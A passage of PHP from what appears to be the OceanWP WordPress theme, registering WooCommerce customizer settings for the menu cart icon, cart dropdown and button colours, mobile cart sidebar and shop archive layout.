'Hide If Empty Cart', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon_hide_if_empty', 'priority' => 10, ) ) ); /** * Display Mini Cart On Mobile */ $wp_customize->add_setting( 'ocean_woo_add_mobile_mini_cart', array( 'default' => true, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_add_mobile_mini_cart', array( 'label' => esc_html__( 'Display Mini Cart On Mobile', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_add_mobile_mini_cart', 'priority' => 10, ) ) ); /** * Visibility */ $wp_customize->add_setting( 'ocean_woo_menu_icon_visibility', array( 'default' => 'default', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_icon_visibility', array( 'label' => esc_html__( 'Visibility', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon_visibility', 'priority' => 10, 'choices' => array( 'default' => esc_html__( 'Display On All Devices', 'oceanwp' ), 'disabled' => esc_html__( 'Disabled On All Devices', 'oceanwp' ), 'disabled_desktop' => esc_html__( 'Disabled Only On Desktop', 'oceanwp' ), ), ) ) ); /** * Bag Style */ $wp_customize->add_setting( 'ocean_woo_menu_bag_style', array( 'default' => 'no', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Buttonset_Control( $wp_customize, 'ocean_woo_menu_bag_style', array( 'label' => esc_html__( 'Bag Style', 'oceanwp' ), 'description' => esc_html__( 'This setting rep^lace the cart icon by a bag with the items count in it.', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_style', 'priority' => 10, 'choices' => array( 'yes' => esc_html__( 'Yes', 'oceanwp' ), 'no' => esc_html__( 'No', 'oceanwp' ), ), ) ) ); /** * Bag Style Total */ $wp_customize->add_setting( 'ocean_woo_menu_bag_style_total', array( 'default' => false, 'sanitize_callback' => 'oceanwp_sanitize_checkbox', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_bag_style_total', array( 'label' => esc_html__( 'Bag Icon Display Total', 'oceanwp' ), 'type' => 'checkbox', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_style_total', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_bag_style', ) ) ); /** * Bag Icon Color */ $wp_customize->add_setting( 'ocean_woo_menu_bag_icon_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_menu_bag_icon_color', array( 'label' => esc_html__( 'Bag Icon Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_icon_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_bag_style', ) ) ); /** * Bag Icon Hover Color */ $wp_customize->add_setting( 'ocean_woo_menu_bag_icon_hover_color', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_menu_bag_icon_hover_color', array( 'label' => esc_html__( 'Bag Icon Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_icon_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_bag_style', ) ) ); /** * Bag Icon Count Color */ $wp_customize->add_setting( 'ocean_woo_menu_bag_icon_count_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_menu_bag_icon_count_color', array( 'label' => esc_html__( 'Bag Icon Count Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_icon_count_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_bag_style', ) ) ); /** * Bag Icon Hover Count Color */ $wp_customize->add_setting( 'ocean_woo_menu_bag_icon_hover_count_color', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_menu_bag_icon_hover_count_color', array( 'label' => esc_html__( 'Bag Icon Hover Count Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_bag_icon_hover_count_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_bag_style', ) ) ); /** * Display */ $wp_customize->add_setting( 'ocean_woo_menu_icon_display', array( 'default' => 'icon_count', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_icon_display', array( 'label' => esc_html__( 'Display', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon_display', 'priority' => 10, 'choices' => array( 'icon' => esc_html__( 'Icon', 'oceanwp' ), 'icon_total' => esc_html__( 'Icon And Cart Total', 'oceanwp' ), 'icon_count' => esc_html__( 'Icon And Cart Count', 'oceanwp' ), 'icon_count_total' => esc_html__( 'Icon And Cart Count + Total', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_hasnt_woo_bag_style', ) ) ); /** * Style */ $wp_customize->add_setting( 'ocean_woo_menu_icon_style', array( 'transport' => 'postMessage', 'default' => 'drop_down', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_icon_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon_style', 'priority' => 10, 'choices' => array( 'drop_down' => esc_html__( 'Drop-Down', 'oceanwp' ), 'cart' => esc_html__( 'Go To Cart', 'oceanwp' ), 'custom_link' => esc_html__( 'Custom Link', 'oceanwp' ), ), ) ) ); /** * Custom Link */ $wp_customize->add_setting( 'ocean_woo_menu_icon_custom_link', array( 'transport' => 'postMessage', 'sanitize_callback' => 'esc_url_raw', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_icon_custom_link', array( 'label' => esc_html__( 'Custom Link', 'oceanwp' ), 'description' => esc_html__( 'The Custom Link style need to be selected', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon_custom_link', 'priority' => 10, ) ) ); /** * Icon */ $wp_customize->add_setting( 'ocean_woo_menu_icon', array( 'default' => 'icon_handbag', 'sanitize_callback' => 'sanitize_text_field', ) ); $wp_customize->add_control( new OceanWP_Customizer_Icon_Select_Multi_Control( $wp_customize, 'ocean_woo_menu_icon', array( 'label' => esc_html__( 'Cart Icon', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_icon', 'priority' => 10, 'type' => 'select', 'choices' => oceanwp_get_cart_icons(), 'active_callback' => 'oceanwp_cac_hasnt_woo_bag_style', ) ) ); /** * Custom Icon */ $wp_customize->add_setting( 'ocean_woo_menu_custom_icon', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_menu_custom_icon', array( 'label' => esc_html__( 'Custom Icon', 'oceanwp' ), 'description' => esc_html__( 'Enter your full icon class', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_menu_custom_icon', 'priority' => 10, 'active_callback' => 'oceanwp_cac_hasnt_woo_bag_style', ) ) ); /** * Icon Size */ $wp_customize->add_setting( 'ocean_woo_menu_icon_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_woo_menu_icon_size_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_woo_menu_icon_size_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_woo_menu_icon_size', array( 'label' => esc_html__( 'Icon Size (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => array( 'desktop' => 'ocean_woo_menu_icon_size', 'tablet' => 'ocean_woo_menu_icon_size_tablet', 'mobile' => 'ocean_woo_menu_icon_size_mobile', ), 'priority' => 10, 'input_attrs' => array( 'min' => 10, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_woo_bag_style', ) ) ); /** * Center Vertically */ $wp_customize->add_setting( 'ocean_woo_menu_icon_center_vertically', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_woo_menu_icon_center_vertically_tablet', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_woo_menu_icon_center_vertically_mobile', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Slider_Control( $wp_customize, 'ocean_woo_menu_icon_center_vertically', array( 'label' => esc_html__( 'Center Vertically', 'oceanwp' ), 'description' => esc_html__( 'Use this field to center your icon vertically', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => array( 'desktop' => 'ocean_woo_menu_icon_center_vertically', 'tablet' => 'ocean_woo_menu_icon_center_vertically_tablet', 'mobile' => 'ocean_woo_menu_icon_center_vertically_mobile', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_hasnt_woo_bag_style', ) ) ); /** * Heading Styling */ $wp_customize->add_setting( 'ocean_woo_cart_dropdowns_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_cart_dropdowns_styling_heading', array( 'label' => esc_html__( 'Cart Dropdown Styling', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'priority' => 10, ) ) ); /** * Style */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_style', array( 'transport' => 'postMessage', 'default' => 'compact', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_cart_dropdown_style', array( 'label' => esc_html__( 'Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_style', 'priority' => 10, 'choices' => array( 'compact' => esc_html__( 'Compact', 'oceanwp' ), 'spacious' => esc_html__( 'Spacious', 'oceanwp' ), ), ) ) ); /** * Dropdowns Width */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_width', array( 'transport' => 'postMessage', 'default' => '350', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_control( new OceanWP_Customizer_Range_Control( $wp_customize, 'ocean_woo_cart_dropdown_width', array( 'label' => esc_html__( 'Cart Dropdowns Width (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_width', 'priority' => 10, 'input_attrs' => array( 'min' => 30, 'max' => 600, 'step' => 1, ), ) ) ); /** * Dropdown Background Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_bg', array( 'label' => esc_html__( 'Dropdown Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_bg', 'priority' => 10, ) ) ); /** * Dropdown Borders Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_borders', array( 'transport' => 'postMessage', 'default' => '#e6e6e6', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_borders', array( 'label' => esc_html__( 'Dropdown Borders Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_borders', 'priority' => 10, ) ) ); /** * Link Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_link_color', array( 'transport' => 'postMessage', 'default' => '#333333', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_link_color', array( 'label' => esc_html__( 'Link Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_link_color', 'priority' => 10, ) ) ); /** * Link Hover Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_link_color_hover', array( 'label' => esc_html__( 'Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_link_color_hover', 'priority' => 10, ) ) ); /** * Remove Link Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_remove_link_color', array( 'transport' => 'postMessage', 'default' => '#b3b3b3', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_remove_link_color', array( 'label' => esc_html__( 'Remove Link Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_remove_link_color', 'priority' => 10, ) ) ); /** * Remove Link Hover Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_remove_link_color_hover', array( 'transport' => 'postMessage', 'default' => '#13aff0', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_remove_link_color_hover', array( 'label' => esc_html__( 'Remove Link Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_remove_link_color_hover', 'priority' => 10, ) ) ); /** * Quantity Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_quantity_color', array( 'transport' => 'postMessage', 'default' => '#b2b2b2', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_quantity_color', array( 'label' => esc_html__( 'Quantity Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_quantity_color', 'priority' => 10, ) ) ); /** * Price Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_price_color', array( 'transport' => 'postMessage', 'default' => '#57bf6d', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_price_color', 'priority' => 10, ) ) ); /** * Subtotal Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_subtotal_bg', array( 'transport' => 'postMessage', 'default' => '#fafafa', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_subtotal_bg', array( 'label' => esc_html__( 'Subtotal Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_subtotal_bg', 'priority' => 10, ) ) ); /** * Subtotal Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_subtotal_color', array( 'transport' => 'postMessage', 'default' => '#797979', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_subtotal_color', array( 'label' => esc_html__( 'Subtotal Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_subtotal_color', 'priority' => 10, ) ) ); /** * Total Price Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_total_price_color', array( 'transport' => 'postMessage', 'default' => '#57bf6d', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_total_price_color', array( 'label' => esc_html__( 'Total Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_total_price_color', 'priority' => 10, ) ) ); /** * Cart Button: Background Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_bg', array( 'label' => esc_html__( 'Cart Button Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_bg', 'priority' => 10, ) ) ); /** * Cart Button Hover: Background Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_hover_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_hover_bg', array( 'label' => esc_html__( 'Cart Button Background: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_hover_bg', 'priority' => 10, ) ) ); /** * Cart Button: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_color', array( 'label' => esc_html__( 'Cart Button Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_color', 'priority' => 10, ) ) ); /** * Cart Button Hover: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_hover_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_hover_color', array( 'label' => esc_html__( 'Cart Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_hover_color', 'priority' => 10, ) ) ); /** * Cart Button: Border Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_border_color', array( 'label' => esc_html__( 'Cart Button Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_border_color', 'priority' => 10, ) ) ); /** * Cart Button Hover: Border Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_cart_button_hover_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_cart_button_hover_border_color', array( 'label' => esc_html__( 'Cart Button Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_cart_button_hover_border_color', 'priority' => 10, ) ) ); /** * Checkout Button: Background Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_bg', array( 'label' => esc_html__( 'Checkout Button Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_bg', 'priority' => 10, ) ) ); /** * Checkout Button Hover: Background Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_hover_bg', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_hover_bg', array( 'label' => esc_html__( 'Checkout Button Background: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_hover_bg', 'priority' => 10, ) ) ); /** * Checkout Button: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_color', array( 'label' => esc_html__( 'Checkout Button Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_color', 'priority' => 10, ) ) ); /** * Checkout Button Hover: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_hover_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_hover_color', array( 'label' => esc_html__( 'Checkout Button Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_hover_color', 'priority' => 10, ) ) ); /** * Checkout Button Border: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_border_color', array( 'label' => esc_html__( 'Checkout Button Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_border_color', 'priority' => 10, ) ) ); /** * Checkout Button Border Hover: Color */ $wp_customize->add_setting( 'ocean_woo_cart_dropdown_checkout_button_border_hover_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_cart_dropdown_checkout_button_border_hover_color', array( 'label' => esc_html__( 'Checkout Button Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_cart_dropdown_checkout_button_border_hover_color', 'priority' => 10, ) ) ); /** * Heading Styling */ $wp_customize->add_setting( 'ocean_woo_mobile_cart_styling_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_woo_mobile_cart_styling_heading', array( 'label' => esc_html__( 'Mobile Cart Sidebar Styling', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'priority' => 10, ) ) ); /** * Mobile Cart Sidebar Background Color */ $wp_customize->add_setting( 'ocean_woo_mobile_cart_sidebar_bg', array( 'transport' => 'postMessage', 'default' => '#ffffff', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_mobile_cart_sidebar_bg', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_mobile_cart_sidebar_bg', 'priority' => 10, ) ) ); /** * Mobile Cart Sidebar Close Button Color */ $wp_customize->add_setting( 'ocean_woo_mobile_cart_sidebar_close_button_color', array( 'default' => '#000000', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_mobile_cart_sidebar_close_button_color', array( 'label' => esc_html__( 'Close Button Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_mobile_cart_sidebar_close_button_color', 'priority' => 10, ) ) ); /** * Mobile Cart Sidebar Title Color */ $wp_customize->add_setting( 'ocean_woo_mobile_cart_sidebar_title_color', array( 'default' => '#555555', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_mobile_cart_sidebar_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_mobile_cart_sidebar_title_color', 'priority' => 10, ) ) ); /** * Mobile Cart Sidebar Divider Color */ $wp_customize->add_setting( 'ocean_woo_mobile_cart_sidebar_divider_color', array( 'default' => 'rgba(0,0,0,0.1)', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_woo_mobile_cart_sidebar_divider_color', array( 'label' => esc_html__( 'Divider Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_menu_cart', 'settings' => 'ocean_woo_mobile_cart_sidebar_divider_color', 'priority' => 10, ) ) ); /** * Section */ $wp_customize->add_section( 'ocean_woocommerce_archives' , array( 'title' => esc_html__( 'Archives', 'oceanwp' ), 'priority' => 10, 'panel' => $panel, ) ); /** * Layout */ $wp_customize->add_setting( 'ocean_woo_shop_layout', array( 'default' => 'left-sidebar', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new OceanWP_Customizer_Radio_Image_Control( $wp_customize, 'ocean_woo_shop_layout', array( 'label' => esc_html__( 'Layout', 'oceanwp' ), 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_layout', 'priority' => 10, 'choices' => oceanwp_customizer_layout(), ) ) ); /** * Both Sidebars Style */ $wp_customize->add_setting( 'ocean_woo_shop_both_sidebars_style', array( 'default' => 'scs-style', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_both_sidebars_style', array( 'label' => esc_html__( 'Both Sidebars: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_both_sidebars_style', 'priority' => 10, 'choices' => array( 'ssc-style' => esc_html__( 'Sidebar / Sidebar / Content', 'oceanwp' ), 'scs-style' => esc_html__( 'Sidebar / Content / Sidebar', 'oceanwp' ), 'css-style' => esc_html__( 'Content / Sidebar / Sidebar', 'oceanwp' ), ), 'active_callback' => 'oceanwp_cac_has_woo_shop_bs_layout', ) ) ); /** * Both Sidebars Content Width */ $wp_customize->add_setting( 'ocean_woo_shop_both_sidebars_content_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_both_sidebars_content_width', array( 'label' => esc_html__( 'Both Sidebars: Content Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_both_sidebars_content_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_woo_shop_bs_layout', ) ) ); /** * Both Sidebars Sidebars Width */ $wp_customize->add_setting( 'ocean_woo_shop_both_sidebars_sidebars_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_woo_shop_both_sidebars_sidebars_width', array( 'label' => esc_html__( 'Both Sidebars: Sidebars Width (%)', 'oceanwp' ), 'type' => 'number', 'section' => 'ocean_woocommerce_archives', 'settings' => 'ocean_woo_shop_both_sidebars_sidebars_width', 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), 'active_callback' => 'oceanwp_cac_has_woo_shop_bs_layout', ) ) ); /** * Mobile Sidebar Order */ $wp_customize->add_setting( 'ocean_woo_shop_sidebar_order', 